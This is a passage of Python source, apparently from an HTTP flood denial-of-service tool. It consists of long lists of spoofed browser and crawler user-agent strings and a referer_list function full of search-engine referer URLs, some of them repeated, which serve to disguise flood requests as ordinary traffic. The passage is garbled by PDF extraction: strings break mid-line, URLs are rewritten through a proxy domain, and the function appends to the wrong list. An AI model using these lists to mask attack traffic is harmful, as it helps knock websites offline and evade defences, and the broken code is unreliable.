headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux
i686; en) Opera 8.51')
headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.4; Linux)
KHTML/3.4.3 (like Gecko)')
headers_useragents.append('Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.7c')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0;
Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/4.8 [en] (Windows NT 5.1; U)')
headers_useragents.append('Opera/8.51 (Windows NT 5.1; U; en)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1)')
headers_useragents.append('Opera/8.51 (Windows NT 5.1; U; en;VWP-
online.de)')
headers_useragents.append('sproose/0.1-alpha (sproose crawler;
http://www.sproose.com/bot.html; [email protected])')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0,gzip(gfe) (via translate.google.com)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('BrowserEmulator/0.9 see http://dejavu.org')
headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98;
Win 9x 4.90)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE;
rv:0.9.4.1) Gecko/20020508')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/125.2 (KHTML, like Gecko)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.4)
Gecko/20030624')
headers_useragents.append('iCCrawler (http://www.iccenter.net/bot.htm)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE;
rv:1.7.6) Gecko/20050321 Firefox/1.0.2')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0; Maxthon; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-AT;
rv:1.7.12) Gecko/20051013 Debian/1.7.12-1ubuntu1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de;
rv:1.8) Gecko/20051111 Firefox/1.5')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE;
rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0; de) Opera 8.50')
headers_useragents.append('Mozilla/3.0 (x86 [de] Windows NT 5.0; Sun)')
headers_useragents.append('Java/1.4.1_04')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.8) Gecko/20051111 Firefox/1.5')
headers_useragents.append('msnbot/0.9 (+http://search.msn.com/msnbot.htm)')
headers_useragents.append('NutchCVS/0.8-dev (Nutch running at UW;
http://www.nutch.org/docs/en/bot.html; [email protected])')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-
[email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; de) Opera 8.53')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE;
rv:1.4) Gecko/20030619 Netscape/7.1 (ax)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)
AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows NT;
DigExt)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows NT
4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.16;
Mac_PowerPC)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.01; Windows
98)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;
DigExt)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows
98; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0;
Windows 98)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.17;
Mac_PowerPC)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.01; Windows NT
5.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.23;
Mac_PowerPC)')
headers_useragents.append('Opera/8.53 (Windows NT 5.1; U; en)')
headers_useragents.append('Opera/8.01 (Windows NT 5.0; U; de)')
headers_useragents.append('Opera/8.54 (Windows NT 5.1; U; de)')
headers_useragents.append('Opera/8.53 (Windows NT 5.0; U; en)')
headers_useragents.append('Opera/8.01 (Windows NT 5.1; U; de)')
headers_useragents.append('Opera/8.50 (Windows NT 5.1; U; de)')
headers_useragents.append('Mozilla/4.0 (compatible- MSIE 6.0- Windows NT
5.1- SV1- .NET CLR 1.1.4322')
headers_useragents.append('Mozilla/4.0(compatible; MSIE 5.0; Windows 98;
DigExt)')
headers_useragents.append('Mozilla/4.0 (compatible; Cerberian Drtrs
Version-3.2-Build-0)')
headers_useragents.append('Mozilla/4.0 (compatible; AvantGo 6.0; FreeBSD)')
headers_useragents.append('Mozilla/4.5 [de] (Macintosh; I; PPC)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows
98; .NET CLR 1.1.4322; MSN 9.0;MSN 9.1; MSNbMSNI; MSNmen-us; MSNcIA; MPLUS)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; {59FC8AE0-2D88-C929-DA8D-B559D01826E7}; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1; snprtz|S04741035500914#914|isdn; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1; EnergyPlugIn; dial)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; iebar; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; Q312461; sbcydsl 3.12; YComp 5.0.0.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus
5.1.02b)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; Arcor 5.004; .NET CLR 1.0.3705)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.2; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1; Ringo; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98;
YPC 3.2.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; AOL 7.0;
Windows NT 5.1; FunWebProducts)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1; FunWebProducts; BUILDWARE 1.6; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; HbTools 4.7.5)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1; YPC 3.2.0; (R1 1.5)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux
i686; it)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; FunWebProducts; SV1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98;
en)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; Q312469)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; Maxthon; SV1; FDM)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC; de-DE;
rv:1.0.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Win98; de-DE;
rv:1.7.12)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB;
rv:1.8.0.1)')
headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.4; Linux
2.6.14-kanotix-9; X11)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE;
rv:1.7.10)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE;
rv:1.7.12)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Win98; de;
rv:1.8.0.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; nl;
rv:1.8.0.1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O;
de; rv:1.8.0.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.7.12)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.7.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr;
rv:1.8.0.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE;
rv:1.7.7)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.6)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE;
rv:1.7.8)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.7.10)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES;
rv:1.7.10)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; pl;
rv:1.8.0.1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-
us)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; de;
rv:1.8.0.1)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE;
rv:1.7.12)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE;
rv:1.7.8)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fi;
rv:1.8.0.1)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-AT;
rv:1.4.1)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.0.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES;
rv:1.8.0.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR;
rv:1.7.12)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW;
rv:1.8.0.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.7.5)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT;
rv:1.7.3)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US;
rv:1.7.12)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; fr;
rv:1.7.12)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; sl;
rv:1.8.0.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.0.1)')
headers_useragents.append('Mozilla/5.0 (X11; Linux i686; rv:1.7.5)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE;
rv:1.7.6)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
rv:1.7.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES;
rv:1.6)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O;
en-US; rv:1.8.0.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB;
rv:1.7.6)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8a3)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE;
rv:1.7.10)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.8.0.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT;
rv:1.7.12)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US;
rv:1.7.5)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR;
rv:1.8.0.1)')
headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3; Linux)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O;
en-US; rv:1.7.8)')
headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.2; Linux)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tg)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE;
rv:1.8b4)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
return(headers_useragents)

# generates a referer array


def referer_list():
global headers_referers
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://yandex.ru/yandsearch?text=%D1%%D2%?
=g.sql()81%..')
headers_referers.append('http://vk.com/profile.php?redirect=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=query?
=query=..')
headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1?
&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882')

headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_
pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925')
headers_referers.append('http://yandex.ru/yandsearch?text=')

headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=
pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?
=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&p
bx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?
fd2cf4e896a87c19&biw=1389&bih=832')
headers_referers.append('http://go.mail.ru/search?mail.ru=1&q=')
headers_referers.append('http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?
%=D0..')
headers_referers.append('http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_
%D0%..')
headers_referers.append('http://ru.search.yahoo.com/search;_yzt=?
=A7x9Q.bs67zf..')
headers_referers.append('http://ru.search.yahoo.com/search;?_query?=l%t=?=?
A7x..')
headers_referers.append('http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..')
headers_referers.append('/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-
ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?
&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA
%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD
%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+
%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+
%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC
%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB
%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.c
lfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87
c19&biw=1680&bih=?882')
headers_referers.append('http://nova.rambler.ru/search?btnG=%D0%9D%?
D0%B0%D0%B..')
headers_referers.append('http://www.google.ru/url?sa=t&rct=?j&q=&e..')
headers_referers.append('http://help.baidu.com/searchResult?keywords=')
headers_referers.append('http://www.bing.com/search?q=')
headers_referers.append('https://www.yandex.com/yandsearch?text=')
headers_referers.append('https://duckduckgo.com/?q=')
headers_referers.append('http://www.ask.com/web?q=')
headers_referers.append('http://search.aol.com/aol/search?q=')
headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?
zoeken_term=')
headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
headers_referers.append('http://validator.w3.org/feed/check.cgi?url=')
headers_referers.append('http://host-tracker.com/check_page/?furl=')

headers_referers.append('http://www.online-translator.com/url/translation.aspx?
direction=er&sourceURL=')
headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=')
headers_referers.append('https://add.my.yahoo.com/rss?url=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('https://steamcommunity.com/market/search?q=')
headers_referers.append('http://filehippo.com/search?q=')
headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/
search?q=')
headers_referers.append('http://eu.battle.net/wow/en/search?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://careers.gatesfoundation.org/search?q=')
headers_referers.append('http://techtv.mit.edu/search?q=')
headers_referers.append('http://www.ustream.tv/search?q=')
headers_referers.append('http://www.ted.com/search?q=')
headers_referers.append('http://funnymama.com/search?q=')
headers_referers.append('http://itch.io/search?q=')
headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
headers_referers.append('https://play.google.com/store/search?q=')
headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
headers_referers.append('http://www.reddit.com/search?q=')
headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
headers_referers.append('http://jobs.leidos.com/search?q=')
headers_referers.append('http://jobs.bloomberg.com/search?q=')
headers_referers.append('https://www.pinterest.com/search/?q=')
headers_referers.append('http://millercenter.org/search?q=')
headers_referers.append('https://www.npmjs.com/search?q=')
headers_referers.append('http://www.evidence.nhs.uk/search?q=')
headers_referers.append('http://www.shodanhq.com/search?q=')
headers_referers.append('http://ytmnd.com/search?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('https://steamcommunity.com/market/search?q=')
headers_referers.append('http://filehippo.com/search?q=')
headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/
search?q=')
headers_referers.append('http://eu.battle.net/wow/en/search?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://careers.gatesfoundation.org/search?q=')
headers_referers.append('http://techtv.mit.edu/search?q=')
headers_referers.append('http://www.ustream.tv/search?q=')
headers_referers.append('http://www.ted.com/search?q=')
headers_referers.append('http://funnymama.com/search?q=')
headers_referers.append('http://itch.io/search?q=')
headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
headers_referers.append('https://play.google.com/store/search?q=')
headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
headers_referers.append('http://www.reddit.com/search?q=')
headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
headers_referers.append('http://jobs.leidos.com/search?q=')
headers_referers.append('http://jobs.bloomberg.com/search?q=')
headers_referers.append('https://www.pinterest.com/search/?q=')
headers_referers.append('http://millercenter.org/search?q=')
headers_referers.append('https://www.npmjs.com/search?q=')
headers_referers.append('http://www.evidence.nhs.uk/search?q=')
headers_referers.append('http://www.shodanhq.com/search?q=')
headers_referers.append('http://ytmnd.com/search?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('https://steamcommunity.com/market/search?q=')
headers_referers.append('http://filehippo.com/search?q=')
headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/
search?q=')
headers_referers.append('http://eu.battle.net/wow/en/search?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://careers.gatesfoundation.org/search?q=')
headers_referers.append('http://techtv.mit.edu/search?q=')
headers_referers.append('http://www.ustream.tv/search?q=')
headers_referers.append('http://www.ted.com/search?q=')
headers_referers.append('http://funnymama.com/search?q=')
headers_referers.append('http://itch.io/search?q=')
headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
headers_referers.append('https://play.google.com/store/search?q=')
headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
headers_referers.append('http://www.reddit.com/search?q=')
headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
